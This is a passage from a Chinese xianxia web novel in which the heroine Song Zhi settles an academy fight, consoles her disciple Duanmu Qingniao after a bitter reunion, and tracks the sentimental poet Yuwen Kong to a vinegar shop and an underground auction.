第三个宋稚在前两个宋稚消失的刹那,便抄起来盘算,直接往沃伦的头上招呼过去。
“你是不是脑子不好使,才想出来这种没创意的拦路方式!”
“砰”的一声,被困阵困住的沃伦还没解开阵法,脑袋上被宋稚结结实实地揍了一下。
他脑门迸出来血迹,眼前的一切晕晕乎乎的。
“你……你这个炉鼎,竟然敢打我?”
宋稚微笑着说:“既然你还是不懂礼貌,说着什么炉鼎,那么你就必须要再痛一痛了。”
她下手毫不手软,一下接一下的揍。
宋稚才不是什么烂好人,在语言教育不了的情况下,她自然会让人在痛苦中长长记性。
沃伦的其他追随者想要救人,却被水墨流淌一般的困阵隔绝了。
眼前的这个合欢宗小女修,又是阵法,又是体修蛮力,又是分身术,完全摸不清楚她是什么套路。
这可太奇怪了!
眼看着沃伦就要被教训死了,终于有一道沉稳的声音道:“好了,住手吧,宋稚。”
宋稚没住手。
凭什么他说住手就住手?
那人走到宋稚面前,抬手一道火焰,落入了困阵中,将困阵的墨色灼烧出一道裂缝。
阵法有损,沃伦屁滚尿流地从困阵中出来,已经成了一个血人。
“院长!!你可算来了!他们打我!”
沃伦的声音里带着哭腔,是终于找到了自家人的悲愤。
宋稚平平静静地看着被称作院长的人。
任玄应院长看着宋稚,宋稚毫不退缩地与他对视。
宋稚的眼神很明白,这是他们第一天入百宗书院,就碰到这种事情。
不管是谁授意的拦住他们想给个教训,她都要一个说法。
任玄应心底对沃伦给出了评价:废物。
他看着宋稚,声音却面向围观的众人,轻声道:
“从今日起,任何人不得对合欢宗的弟子们无礼。”
17.切磋
不得不说,百宗书院的学习机制还是很合理的。
入书院的弟子,可以选择自己感兴趣的术,只需要在年末的时候完成考核,就可以得到积分。
宋稚对此很是理解:就是修学分嘛!
端木青鸟三个人各有选择,宋稚自己溜溜达达,拿着汇总单子,前去看热闹。
她倒是都想学学看看。
系统的修行方式与目前修仙界的不太一样,她想搞明白两者之间有什么区别和联系。
许是因为天生的谨慎,宋稚对于这两种修行方式都挺感兴趣的。
没走多远,宋稚的旁边便出现了一个人。
南宫窈窕微笑着说,“你若是不知道选什么,可以问问我。”
宋稚:“?你怎么在这儿,不是去选课了吗?”
刚才她都喊解散了,让该干嘛干嘛去了。
南宫窈窕打了个哈欠,像是许久没睡过了:“我不用选,这些对我来说都轻而易举,只需要明年通过考核就行了。”
宋稚若有所思,看来南宫窈窕的实力比想象中更厉害。
既然百宗书院的学习对南宫窈窕无用,那么宋稚大脑运转,立刻开始准备给他安排工作。
“那你的第二班有想法了吗?”
在宋稚的想法里,手下的人可不能有任何一个人闲着。
南宫窈窕无语地看着宋稚:“你还真是一个工作狂。”
宋稚掏出来随身携带的名单,“我也不闲着,明天我就要去出发找一下宇文空。”
南宫窈窕要组建第二班,那就至少需要三个人。
宋稚与他分头工作,打算找一找消失很久的宇文空。
论辈分看,宇文空是合欢宗二师兄。
他在十年前便已经定好了婚约,因着婚约的主人失踪了,便搁置下来。
而宇文空在合欢宗等待婚配等的无聊,下山一直没回来。
宋稚打算去找到宇文空。
说起来,南宫窈窕算是合欢宗大师兄。
只是他剩者为王,成为了掌门,嗯,前任的。
“哦,你说他啊。”
南宫窈窕说:“你去瓦舍勾栏里问问,他喜欢写酸诗。”
宋稚:“可是写诗的人那么多,怎么确定哪个是二师兄呢?”
南宫窈窕的笑容很是微妙:“最让你牙酸的,又最难看的,就是宇文空写的。”
宋稚:?
这是什么评价?
两个人说着,忽而听到远处传来了争执声。
宋稚敏锐地听到了青鸟的声音,她匆匆赶过去。
才分开了一会儿,难道有人欺负自家弟子了?
……
宋稚过去的时候,端木青鸟面红耳赤,白皙的脸颊上都是汗。
青鸟的手臂已经木化,抽出来的枝条是木色的,上面缀着几支新芽。
这是动过手了。
对面的几个人倒也没落什么好。
女孩大约与青鸟同岁,满脸倨傲,几乎以鼻孔看人。
她的裙摆上缀着青色的叶子标志。
是端木家的族徽。
“你就是故意的,”端木珍冷哼一声看着端木青鸟,“阴魂不散。”
本以为端木青鸟早就死了,没想到竟然还能出现在自己眼前。
端木珍最讨厌的,就是这个从小处处抢她风头的端木青鸟。
六岁那年开脉,被族人寄予众望的端木青鸟眉心里被打上了合欢宗的烙印,成为了不入流的炉鼎,一落千丈。
端木珍作为一直与端木青鸟比较的人,成为了端木一族的期望与未来。
从六岁之后,端木珍就再也没有看到过端木青鸟。
在她眼里,端木青鸟早就已经死了。
听说了几个合欢宗的人今年破例入学,竟然没想到就是端木青鸟。
可笑。
成为炉鼎的人,与他们不一样。
那些炉鼎们只会倾心爱慕一个人,像是菟丝花一样寄托别人身上,
端木珍见过修士身边的炉鼎们,软的像是一摊泥,挂在人的身上。她甚至怀疑他们的脑子都有问题。
现在让他们入学百宗书院,又有什么用呢?
端木珍不屑于与端木青鸟计较,然而凤文宝竟然主动与端木青鸟相认,这就是可忍孰不可忍。
可是没想到的是,两个人动起手来,端木青鸟竟然没输给自己!
这就更可恶了!
“凤文宝?你跟端木青鸟有什么关系?”
站在端木珍旁边的少年个子更高一些,看上去要大两岁,他一身红衣,而比红色更红的,则是衣衫上的火色凤凰。
凤凰展翅欲飞,振翅唳鸣。
宋稚想起烈焰国的朱雀一脉,“你与青鸟是旧识吧。”
这话让端木珍更加火大:“他们没什么关系!”
“你反应这么激烈,显然是有关系的。”宋稚温和地看向凤文宝。
她在看到他们的同时,已经靠着第一印象,将他们初步分析了一下。
端木珍敌视端木青鸟,而凤文宝垂着头,眼神不敢看青鸟,却有很快地抬起眼看一眼,欲言又止的模样。
凤文宝大约是想要单独与青鸟说些什么的,端木珍对凤文宝有着某些微妙的占有欲。
宋稚慢悠悠道:“百宗书院内部不许斗殴。”
端木珍脸色一变:“我那叫切磋。”
“好了,切磋完了,就让人家说说话吧。”
宋稚看了看青鸟的脸色,她皱着眉头,满腹心事。
……
端木青鸟有话想问凤文宝。
两个人走到一边。
凤文宝声音很低,头习惯性地低下头:“青鸟妹妹,你还好吗?”
这是时隔四年的对话。
端木青鸟没有回答,而是问道:“我的小鸽子,还活着吗?”
她有话想要问凤文宝,却不是为了叙旧,而是想知道小鸽子还好吗。
当年她被定为废脉,被族人所抛弃,她被关在单独的院落里,整日不见天日。
一年后,在她生辰之时,终于看到了面容憔悴的母亲。
母亲给了端木青鸟一只小鸽子,说可以用它与人传讯。
端木青鸟给小鸽子起了小鸽子的名字,用小鸽子给她唯一的朋友传讯。
烈焰国朱雀一脉的凤文宝,在两人出生之时,两方便定下了婚约。
端木青鸟在很小的时候便见过凤文宝,两个小孩子建立起来了比联姻关系更牢固的小孩子友谊。
后来,最引人瞩目的端木青鸟眉心被打上烙印,她被切断了与外界的联络,成为了端木一族的羞耻。
曾经教导端木青鸟的先生们再也不会出现,曾经引导过她修行
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的尊长们也消失了,端木青鸟在小小的院子里,等待着小鸽子的回信。
初时凤文宝常常与端木青鸟联系,半年后信中提起他有了新的婚约,是与崭露头角的端木珍。
“端木珍太讨厌了,眼高于顶,颐指气使,我才不要以后娶她。”
凤文宝安慰青鸟说,青鸟,你始终是我最喜欢的伙伴。
很久之后,凤文宝说,端木珍也挺好的,她是一个嘴硬心软的好女孩。
端木青鸟看到这封信的时候,紧闭的院落门被打开。
脸色沉沉的族长质问她为什么会能与外界联络?族长看到了端木青鸟手中的鸽子,让她亲手将鸽子杀死。
端木青鸟割破了自己的手指,拼命放鸽子离开。
这是她与凤文宝约定好的暗号,若是被端木家的人发现,那么便染血到鸽子腿上,他便过段时间再放小鸽子来找她。
族长告诉端木青鸟,端木青鸟的爹娘有了新的孩子。
而端木青鸟,要被送往百宗书院的合欢宗,永远不要再回端木家了。
端木青鸟像是一团不知道该扔到哪里的垃圾那样,被扔到了合欢宗。
在所有抛弃端木青鸟的人里,凤文宝也算一个。
凤文宝卡壳了一瞬。
他小声道:“我一直养着小鸽子……”
端木青鸟的瞳孔一动。
她张了张嘴,几乎动摇了。
也许,凤文宝也没那么糟糕?
凤文宝盯着自己的脚尖:“只是后来珍珍说小鸽子弄脏了她的头发,便将小鸽子杀了吃了。”
端木青鸟:……
她沉默半晌,觉着宋稚老师说的对,她的恋爱脑差点永远治不好了。
“是这样啊。”
端木青鸟认真地说,“那么请端木珍洗干净自己等着,我也会像她杀了小鸽子那样杀了她。”
凤文宝:……
他蓦然抬头,有些不可置信,“你以前不是这样的。”
以前?
端木青鸟不觉得以前她什么样。
她小声说:“你以前,也不是这样的。”
小时候的凤文宝,说虽然不知道未婚妻是什么,但是端木青鸟是他最好的伙伴,他以后会好好对她的。
后来的凤文宝,说,端木珍也挺好的。
宋稚无聊地等了半天,端木青鸟终于走过来。
“谈完啦?”
“只是问了些问题。”
青鸟与宋稚并肩离开,瘦弱的女孩肩头像是被压了什么,沉重得让她几乎喘不过气。
这样的重逢,也只是再次佐证了她依旧是被抛弃的那一个。
就在这刹那,宋稚的手揽住了她的肩膀。
“晚上想吃什么?”
“啊……?”
端木青鸟的悲伤情绪还没有完全酝酿,就被打断了。“可以自己选择吗?”
宋扒皮不仅体现在压榨他们,还体现在很是抠门,吃的不好也不坏,却从来没有点过菜。
“当然,今晚上我们一起吃一顿好的,好不容易将他们送入学了,好好庆祝庆祝!”
“那,我想吃熏鸡烤鸡猪脚饭。”
宋稚:“行啊你,你真不客气。”
两个人说说笑笑去找陈郁。
端木青鸟听到了身后端木珍与凤文宝在说什么,然而她没有再回头。
18.空虚
宇文空的诗作,宋稚只看到了一首。
这首诗作写在合欢宗宗门里的一块大石头上,是用剑刻出来的。
说是诗,其实就是打油诗。
宋稚站在那块大石头上欣赏了宇文空的“诗作”很久,终于明白南宫窈窕所说的,写的最烂的就是宇文空的意思。
诗曰:《意义》。
我,为什么,这么,空虚。
我,找寻我的,归宿。
我寻寻觅觅,找不到失踪的,那个她。
而她,是不是也在找她的归宿。
宋稚:“……”
南宫窈窕在旁边懒散道:“怎么样?”
宋稚:“字刻的不错。”
南宫窈窕:??
这还能找到理由夸?
他木着脸:“谢谢,这是我刻的。”
当初宇文空整天写酸诗,写完还要给他见到的任何一个人品鉴,还要求别人说出来至少一百个字的赞美之语。
南宫窈窕烦不胜烦,他一把将宇文空的诗作集给烧了。
宇文空倒是没生气,他只是魂不守舍,见人就问:“你看到我的诗集了吗?”
南宫窈窕:……
他问宇文空怎么样才能恢复正常,宇文空说,想让他的诗集永垂不朽。
南宫窈窕想回复他说没有什么是永垂不朽,然而看着宇文空幽幽的眼神,他只好用剑刻下了他唯一记得的宇文空的诗。
在合欢宗的镇山之石刻下的这首诗,确实在理论上能做到永垂不朽。
……只要合欢宗没有被毁。
宇文空恢复了正常。
他继续整天写他的酸诗,直至他遇到了一个姑娘。
“什么姑娘?”
宋稚看着石头上的“她”,敏锐地发觉这里面肯定有一个故事。
“不知道。”
南宫窈窕说,“没多久他就离开了合欢宗。”
世界上有这么多姑娘,哪个才是二师兄宇文空找的姑娘呢。
宋稚抓了抓刘海,“那我先去附近的三个州找找看吧。”
“去哪儿找?”
“不是你说的瓦舍勾栏?”
南宫窈窕:“那种地方很黑的,你若是去了,没有心眼子,怕是有去无回。”
宋稚:“啊?那二师兄岂不是也危险了?”
南宫窈窕:“不好说。”
宋稚:“没关系,我总是要找到他,我们前进的路上,不能落下任何一个同伴。”
南宫窈窕:“我跟你一起去。”
宋稚皱眉:“你还要招生三个学生呢!”
“我选好了三个人,距离你说的三个州不远,我们顺路。”南宫窈窕说,“我不会跟你跟全程,你自己多注意一点。”
“好!”
宋稚在出发前,前去安排合欢宗目前的三个学生。
“这是传讯鹤,有什么事情就传讯给我,我会很快赶回来的。”
宋稚交代三个人,“碰到危险的事情不要直接跟人起冲突,先保护好自己。”
端木青鸟满口答应,说会管好陈郁与越燃。
陈郁哼了一声,显然不打算让她管,而越燃一脸兴奋,“是不是要带回来新的同伴了?”
宋稚:……
越燃真的是靠吸人才能活着的吧!
“会的,我们合欢宗会越来越热闹,也会越来越好的。”
第二天的一早,宋稚与南宫窈窕踏上了下山的路。
……
南宫窈窕的灵剑飞在空中。
修士们的修为决定着灵气的多少,南宫窈窕虽然从未展示过他的灵气,然而宋稚却直觉感受到,南宫窈窕的可怖:
从下山没多久,南宫窈窕问宋稚为什么不御剑飞行,宋稚这才想起来自己还没有灵剑。
“怎么才能得到灵剑?”宋稚说,“除了花钱买之外。”
南宫窈窕叹了一口气,说先用他的灵剑,等日后有时间,带她去秘境剑冢看一看。
修仙界中,要么钱多,要么修为高。
宋稚既然不肯挂账,那么只能靠修为,闯一闯那些没有人敢进入的灵剑秘境。
这也是大多数穷的叮当响的剑修的方式。
于是宋稚坐上了南宫窈窕的灵剑,在她乘坐的时候,她快速查阅了修仙界中灵剑的知识,震惊地发现不是所有的修士都会将灵剑当做第一选择,因为灵剑烧的是修士的灵气。
所以一般来讲,大家还是习惯用脚来走路,御剑飞行则是用于短途的必要行程。
可是从合欢宗山脚下到相邻的北冥州,已经过了整整六个时辰,这灵剑竟然丝毫没有颓势,南宫窈窕的脸上也没有任何灵气不支的样子,只有一贯的懒散。
“你到底隐藏了多少实力啊?”
对于宋稚来说,她似乎从来不知道这么问人,多少有一点冒犯。
南宫窈窕早就习惯了,他随意道:“深不可测。”
看宋稚瞪圆了眼睛等他继续讲下去,他只好继续道:“确实没有测过,目前来说,没有人能让我用出全力。”
“哦……”南宫窈窕想了想,“某个圣人除外。”
宋稚:???
某个圣人除外,而不是说七个圣人除外?
能与圣人对战的只有圣人吧,南宫窈窕并不在圣人名单里啊!
南宫窈窕垂了垂眉眼,“到了。”
北冥州是后土国的领地。
宋稚点亮了五个星图,对土元素的感知力也是满点,自然能立刻感知到后土国的强大土元素。
“好厚重的土系元素……”
不仅如此,绿色减少,入目多是耸立的石峰,空气里渐渐弥漫上风沙。
“后土国的核心在坤灵,那里是无尽的沙漠。”南宫窈窕说,“如非必要,不要去坤灵。”
“为什么?”
“坤灵的国主善用傀儡,喜欢收集五星图满九境的强者,制作出来的傀儡能完美复刻原身的天赋,甚至可以做到生前的进阶能力。”
也就是说,这傀儡与活的无异。
但是……
宋稚疯狂翻书,“我看合欢宗宗主必看的书籍里,说傀儡不可能能进化,死前是什么样,那么死后就是什么样啊?”
南宫窈窕微微眯了眯眼睛,“只要将五星图满九境的强者的灵魂,永久封存在傀儡身体里,就可以了。”
宋稚:……
太残忍了!
这相当于把活人永远监禁在傀儡身体里!
她对后土国坤灵宫一点好印象都没有了。
“实在是邪恶!”
到了目的地,南宫窈窕控制灵剑从高空缓缓降落。
宋稚跳下来活动了一下筋骨,看着地图,“我们到方仪镇了。”
宇文空最后联络的消失地方,就是在这里。
宋稚饶有兴致,“我们的目标,就是瓦舍勾栏!”
刚走了两步,南宫窈窕便将宋稚拉了回来,“就这样直接去?”
“这样不行?”
宋稚没明白。
“不……”南宫窈窕无语地看着宋稚,“我们是俩女子。”
宋稚:……
她感觉怪怪的,虽然南宫窈窕看上去是个粉裙大美人啦,但是听她说是两个女子,这一瞬间让宋稚有点认知混乱了。
“得换个装。”
宋稚拒绝:“我不换。”
女子怎么啦,她就喜欢自己这样!
“我是说,我换装。”
南宫窈窕实在是对宋稚无语了,他换成本来的装束,起码能打听更多
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的信息吧。
宋稚连连点头:“哦哦哦,可以的,我还没见过你穿男装的样子呢!”
……
夜晚的瓦舍格外热闹。
红灯笼高高挂着,晕染出温暖的光。
街道上,人群拥挤。
宋稚走路都有些不自在了。
她确实是想看南宫窈窕穿回原本的样子,然而当南宫窈窕真的变成了男人,她反倒是浑身不自在。
高挑的个子,黑色的衣衫,腰带勾勒出劲瘦的腰肢,大长腿迈动,就像是光影交错下的超级模特。
南宫遥迢戴着面具,遮住了他的面容,只漏出来一双带着森寒之意的眼眸。
宋稚与他对视一眼,心跳瞬间快了一瞬:那是一种本能的危险预知。
一看就是让人退避三舍的危险人物。
南宫遥迢慢悠悠地跟在宋稚的旁边。
在她被人群挤来挤去的时候,伸出手臂,揽住了她,为她格挡拥挤的人潮。
宋稚抬头看南宫遥迢,看着那张黑色的森冷面具,“如果没有我摘下你的面具,你会喜欢什么样的女子?”
这是宋稚非常好奇的。
系统的主线任务是拯救合欢宗的恋爱脑,宋稚却没有听到系统对于南宫窈窕的播报声。
他似乎与端木青鸟他们不一样,并非是被合欢宗降生开始的规训给迷惑,走在自己的一条道路上。
那么这样的男子,会因为恋爱脑,爱上别人吗?
宋稚想了很久,她觉着也许是自己的穿越改变了南宫窈窕未来会恋爱脑的命运,所以系统才没有提示。
夜风有些凉,吹起了南宫遥迢垂落的长发。
他的嗓音低沉,带着些微的沙哑,“不会。”
“为什么?”宋稚不明白南宫窈窕会这么笃定。
“因为,我的身边没有女子。”
“永绝后患。”
“那如果有人像我这样摘下你的面具,你会?”
“我会杀了她。”
宋稚:“……不,咱就是说,可以不杀吗?”
她有些抓狂,不是南宫遥迢说要她喜欢他的吗?现在又要杀人!
是不是掉入这个狗比的陷阱了!
“我不想杀你,或者说……以上的设想都不是具体的事情。”
宋稚有些没明白,这是什么意思?
“就是说,没有遇到你之前,都是我落在虚处的决心和想法。而现在,我不会杀你。”
宋稚瞬间懂了。
所以南宫遥迢就是一个很爱放大话的人嘛。
南宫遥迢抬手摸了摸宋稚的脑袋,摸到了她随意扎起来的双马尾,“喂,你这么热衷于给我搞发型,为什么你自己的头发这么乱糟糟的,这是什么奇怪的发型。”
宋稚挣脱他的手:“双马尾!多可爱!直男,你根本不懂!”
她与南宫遥迢拌嘴半天,消解了刚开始的陌生感。
直至有人往她手里塞传单,“新店开张,欢迎光临!”
宋稚一路上已经收了好几张这种类似的传单了,她都扫过,没什么特别的。
然而手头的这张,在宣传单上,放了一首小诗。
小诗,很酸,写的很烂。
宋稚立刻想起来南宫遥迢对宇文空的评价。
太精准了。
她看向南宫遥迢,“好像找到了疑似二师兄的酸诗人了。”
“什么店铺?”
南宫遥迢凑过来一看,沉默,“醋坊。”
宣传单上,写着一首诗。
《醋的是你,还是我。》
我去店里买醋,遇到了你,和你身边的人。
看你一眼,我便知道,我不需要买醋。
我已经,醋意满满。
宋稚:……
19.甜蜜
醋坊开业。
老板在门口等着新客人。
然而,寥寥数人,根本没什么人进来买醋。
老板的期待落了空,“宇文空,你到底是不是大诗人啊?我可是付给了你钱呢!”
站在旁边的男人瘦削儒雅,脸色有些苍白。
他站在一旁,存在感很弱的样子,怀中却抱着卷轴,腰间挂着一支笔。
“诗人,我自然是的,只是欣赏诗人的人,不是随处都有的。”
宇文空叹息道,“世人缺少一双,发现的眼睛。”
老板正要说什么,便看到宇文空眼睛一亮,瞬间拿起来毛笔,打开了卷轴,“借用一下桌子,我突然有了灵感!”
老板:“……什么灵感?”
“关于眼睛的灵感!”
宇文空奋笔作诗,老板长叹一口气,心知果然不该听宇文空的吹牛,他付了十个灵石呢!
便在这时,有人登门了。
女子扎着双马尾,走路蹦蹦跳跳的,像是开心极了。
落后一步的男子一身黑衣,脸上亦是覆盖着黑色的面具,周身弥漫着森冷的气息。
这种气息,一般只有杀伐无数人的高阶修士,才能有。
老板瞳孔一缩。
他堆起来一张笑脸,笑眯眯迎上来,“客官,买醋吗?”
宇文空身形有些紧张起来。
他紧绷身体,遥遥与南宫遥迢对视。
南宫遥迢格外懒散,随意地靠在柜子边,示意是宋稚前来找的。
“我才懒得理你。”
宇文空神情松动了些许,然而依旧没有放松。
“如果不是来买醋,那么就请回吧。”
显而易见,宇文空不想回合欢宗,也不待见原本的掌门和现在的掌门。
宋稚不买醋。
她也不是只是想找宇文空,而是想要指点一下宇文空的写法。
“你的诗,可以改一改。”
“改诗?”
宇文空看着宋稚的目光,顿时不一样了,“你看过我的诗?”
宋稚:“大师兄都把诗刻在镇山石上了,还有谁没看到啊?”
这话说完,宇文空的神色缓和了一些。
“你说吧,我的诗哪里不好?”
宋稚这话一说,连醋店老板都过来了:“哦?你准备怎么改?要知道我们这位宇文兄,可是不屑于别人的改诗呢。”
宇文空:“我倒也不是不屑于,主要是别人的水平确实太菜了,根本比不过的我诗。”
“既然水平这么差劲,为什么还要冒犯我的诗呢?”
醋店老板陈州哈哈大笑:“我倒是觉着,今天的这位小女修,像是有点真本事的人。”
怎么讲呢,一看宋稚,就有一种特别的感觉。
如果宋稚知道他在想什么,就会告诉他,那叫“师味儿”。
怎么讲,宋稚之前上班到气血亏空整日失眠,一去看医生,医生看了她一眼,直接说,你是老师吧。
宋稚震撼于医生的火眼金睛,连忙询问为什么能看出来。
医生神秘一笑,你们老师其实看上去都差不多,一股师味儿。
宋稚推了推眼镜,眼神里闪过睿智的知识的光芒,“要我说,你写的视角太悲伤了,并且这首诗的诗眼在于’不买醋‘,显然是不对的啊!”
“你是帮醋店开张宣传的,哪儿能让人看到传单就觉着,不买醋就够了!?”
是啊!
醋店老板陈州顿时豁然开朗,“我说我怎么大半天还没卖出去一瓶醋呢?原来是因为宣传标语出了问题。”
“那怎么改呢?”
宇文空还是有些不服气的样子,“挑毛病谁不会?重要的是如何改出来!”
宋稚拿起来笔,就开始写。
“看我的吧!”
《你醋我,我醋你,我们一起甜蜜蜜》
我在店里卖醋,遇到了你,和你身边的人。
你含笑向我买醋,那人的醋意便弥散开来。
我知道,他对你并非真心。
因为他的醋,一点,都不,正宗。
百年老字号:陈州醋店,带你见识最正宗的陈醋!
宇文空:……
他看着宋稚新鲜出炉的醋诗,半晌,挠了挠头。
“感觉怪怪的……但是……”
宋稚找到了旁边的一叠空白宣传纸,快速地开始誊抄,“别可是了,先抄出来然后发传单,看看有没有效果,就知道咱们俩的诗谁好了!”
陈州上来帮忙抄诗,宇文空初时觉着新诗很怪异,再看又觉着很有道理。
主要是诗中的自己,似乎是个人生赢家,喜欢的人会向自己而来,想卖的醋也能卖出去……双赢啊!
“我也来抄写!”
三个人纷纷忙碌起来。
南宫遥迢半晌没说话,宋稚在抄写的间隙抬眼一看,果不其然,他站着靠着墙都能睡着!
宋稚随手掏出来一个粉笔头,准确无误地砸在了南宫遥迢的面具上:“喂!醒醒!!”
“铛”一声,粉笔头敲击黑色面具,下一面被南宫遥迢的灵气震成了粉末。
一片白色的烟雾里,时间恍若静止了。
宇文空几乎无法呼吸了:“我说新掌门,我看错了吗?你竟然用暗器攻击他?”
他那一瞬间几乎以为这个女修会死在当场,当初在合欢宗的时候,宇文空也不敢直接攻击南宫遥迢,除非他不想活了!
当年在合欢宗的那些人们,谁不知道惹谁也不要惹南宫,现在他看到了什么!
他竟然看到南宫遥迢带着困意的声音道:“我带你飞了六个时辰,现下打一个盹怎么了?”
宇文空:……
不是吧,他竟然能从中听出来些许撒娇的意思。
这是他认识的那个南宫遥迢……
等等,既然南宫遥迢在新掌门的面前以男装戴面具示人,显然是知道一些内幕了,莫非两个人的关系比自己想象中的要好?
宇文空顿时感兴趣起来。
他又想作诗了。
手中笔一顿,便落下一点圆圆的黑色墨迹。
他回过神来,将墨迹点缀成一朵梅花。
若是他有空,怕是真的会回合欢宗一趟,然而现在,还是抓紧时间忙完手头的事情,他还有正事要做。
南宫遥迢也被宋稚抓来抄写广告。
“走,我们去发传单。”
陈州说:“我也去。”
宋稚:“你不看着店?”
陈州苦笑:“压根没人来,在这里坐着也是坐着,不如自己上。”
也是。
宇文空更没想到的事情发生了,宋稚竟然拉着南宫遥迢一起发传单。
宇文空:……
这绝非他所认识的大师兄。
四个人将传单发完,便赶回来了醋坊。
没到半个时辰,便有人上门了。
来人是个大腹便便的中年男人,穿着长衫,一进门就说,“我娘子非得让我来买陈醋,说她想买回去看看是多正宗的醋!”
“我说这不是跟自己家的醋一样吗?她非得说想试试!”
陈州脸上有些激动,没想到新的传单眨眼就奏效了。
“快快快请进,我这儿的醋啊,都是最正宗的!保证让您满意!”
在陈州将顾客送出门的时候,又有人上门了。
没多久,一个接一个,足足有七个人。
这会儿功夫卖了七瓶醋,陈州的脸上堆着笑,便要给宋稚灵石,“这还得多亏了你的润色,不然我这醋坊开张,还真是不好做呢!”
宋稚:“咦?怎么突然赚钱了?”
宇文空亦是心服口服:“你给我改的诗,确实不错!我服了。”
宋稚笑眯眯道:“就说我是懂诗的吧,怎么样,我们一起回合欢宗?”
这么
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半天的交流下来,宇文空已经知道宋稚的名字,也知道她打算重建合欢宗,也知道他们要冲击青云榜头名,改变身为炉鼎的命运。
然而宇文空还不能回去。
“我还有重要的事情要做。”
宇文空说,“让你失望了,十分抱歉。”
说这话的时候,宇文空不再像是那个酸诗人,而多了几分宋稚理解不了的痛苦与豪迈。
宋稚没有强求:“好吧,既然你不肯回去,也不能绑着你回去,那你要做什么事情呢?”
宇文空不肯说了。
看着宇文空离去的背影,宋稚摸着下巴,若有所思。
“大师兄,你说一个诗人的诗里,总是出现一个’她‘,那么这个’她‘,究竟是虚指,还是实指的呢?”
南宫遥迢没有回答她。
他又靠在一边站着睡着了。
宋稚下意识地看着他,南宫遥迢似乎总是很困倦的样子,按理说,有这样深不可测的修为,不应该啊。
宋稚没有再吵醒他,而是安安静静地陪着他。
一个时辰后,南宫遥迢动了动。
“人走了?”
“走了。”
这会儿宋稚正在跟陈州喝茶。
天色已经很晚,街上都没人了。
南宫遥迢:“怎么不叫醒我?”
“你看上去累极了,我也不想叫醒你。”
宋稚想到自己以前最困的时候,也不过是趴在桌子上睡,站着睡觉是没有过的,最多就是打打瞌睡,南宫能随时随地睡觉,大约是有什么隐情。
南宫遥迢沉默了一会儿,“你好像又喜欢我一点点。”
宋稚喝茶的动作一顿,差点喷出来:“有吗?”
“有的。”
两个人之间的联系愈发密切,他能感觉到。
南宫遥迢拉着宋稚的胳膊站起来,“走吧,我们去看看宇文空到底做什么去了。”
陈州收拾店铺准备打烊,他在后面喊:“你们赶紧把他带走,他的酸诗荼毒我太久了!”
宋稚跟着南宫遥迢七拐八拐,拐到了一条小巷子里,宋稚震惊:“你早就知道二师兄去哪里了?”
“不知道啊。”南宫遥迢说,“只不过我拍他肩膀的时候,动了一点手脚。”
一丝灵气附在宇文空身上,宇文空发现不了的,却能带着他找到宇文空的所在。
宋稚恍然大悟,“不愧是你,老奸巨猾”。
两个人最终抵达了一处地下拍卖场。
南宫遥迢若有所思,宋稚急了:“我没去过这种地方啊,是要名牌的。”
这种地方的名牌是不记名的,通体黑色,宋稚哪儿认识。
她偷偷听旁边的人说话,这一个黑色牌子若是黑市里买,要一千个灵石。
她哪儿有钱!
南宫遥迢低着头在储物空间里找了半天,拿出来了一把黑色牌子,“好像是这个。”
宋稚:……
你也太有钱了吧兄弟!
看守的人看到这时,眼睛一亮,躬身道:“您是最顶级的客户,请上二楼。”
二楼?
旁边等待进场的人听到这话,眼珠子都要瞪出来了。
拍卖场的二楼一向是神秘的地方,鲜少看到有人上去。没想到这两个人看着不显山露水,还以为没办法进门,结果转头就上了二楼?
宋稚在众人羡慕的眼神里上了二楼,她悄悄地拉了拉南宫窈窕的衣角:“咳,那个,二楼包厢,有最低消费吗?”
南宫遥迢愣住了:“……什么包厢最低消费?”
宋稚:“我可没打算花钱。”
南宫遥迢:“今天不用花钱,到了一定地位,这些地方会求着你去。这些黑牌子,都是他们求着塞给我的。”
宋稚:……
跟你们有钱人拼了。
两个人落座。
没多久,便看到了楼下的一场闹剧。
20.锁定
“你怎么又来了?别在这里捣乱了!”
一楼,宇文空与在醋店里完全不一样了。
在醋店里,他脸色疲惫,穷酸惫懒,看上去像是被捶打了一百遍。
而在此刻的拍卖场里,他衣着光鲜,儒雅俊朗,腰间缀着价值不菲的玉佩,看上去就写了三个字:不差钱。
宇文空:“我这次可跟之前不一样,我是带了钱来的。”
拦住宇文空的守卫愣了一下,“啊?还真是稀奇,我竟然还能看到你有钱的一天。”
宇文空在拍卖场里,可是一个红人。
红在特别穷上。
或者说,又穷又爱玩儿上。
根据宇文空所言,在某一年他在拍卖场看到了梦中仙子的时候,他便明白了什么叫做惊鸿一瞥,再难挣脱。
一眼,便是爱。
然而这爱太沉重,宇文空发现梦中仙子冷冷清清,仿佛根本不会笑。
除非在买到了极有趣的东西的时候,她才会笑一下。
那一下也格外短暂。
宇文空从此,便沦陷在她惊鸿一瞥的笑容里。
从此之后,他开始每天写诗。
身为合欢宗弟子,宇文空自然也是从小开脉便被放弃了,他的修为平平无奇,本来是等着许配给另外一个高级的女修,没想到那个女修失踪了。
也许这是老天赐给自己的机会。
机会必须把握住,宇文空混进去了拍卖场,将自己的诗送给了梦中仙子品鉴,然而梦中仙子只是点了点头,便继续托着下巴,将视线落在了拍卖台上。
宇文空明白,是他写的诗,还没有抵达梦中仙子的心。
只要他一直写诗,一直写诗,总有一天,梦中仙子会欣赏他的诗,也能欣赏到他赤诚的爱意。
不过在那儿之前,宇文空想要跟梦中仙子多说说话,多见见面。
可是拍卖场里,他这种人想要进来,是要买东西的。
宇文空咬牙买。
在这个过程中,宇文空越来越穷困潦倒,越来越难以接近拍卖场。
直至这次。
宇文空不仅带来了一笔巨额的灵石,还带了一本他精心装订好的诗集。
宇文空与守卫的争吵结束于验资。
守卫看到宇文空的账户余额之后,瞪大了眼睛。
他无语地走开了。
真是活久见,穷酸诗人竟然暴富了。
宋稚正在二楼看热闹,宇文空的视线忽而抬起,看向了二楼。
宋稚心头一惊,以为宇文空看到了自己,然而他的视线落在了左边的包厢,“梦梦,这次,我定然会夺你一笑。”
他挺直身子,开始吟诗:“我,与你,的相爱,是我的精心筹谋,还是你的漫不经心?”
宋稚:……
她一把抓住南宫遥迢。呕,好恶心。
南宫遥迢:?
宋稚:“你没感觉到难受吗?”
她听着这酸诗,都想揍宇文空一顿了。
南宫遥迢:“没感觉。”
宋稚:……
怪不得南宫遥迢能把诗刻在镇山石上,因为他有超强钝感力,一点都不觉着难受。
宇文空的吟诗被打断了。
拍卖会要开始了。
宇文空被摁在座椅上,还恋恋不舍地往回看。
恰在整个拍卖场暗下去的那一瞬间,宇文空与宋稚眼神对视。
他的眼底有一丝……心虚?
宋稚几乎以为自己看错了。
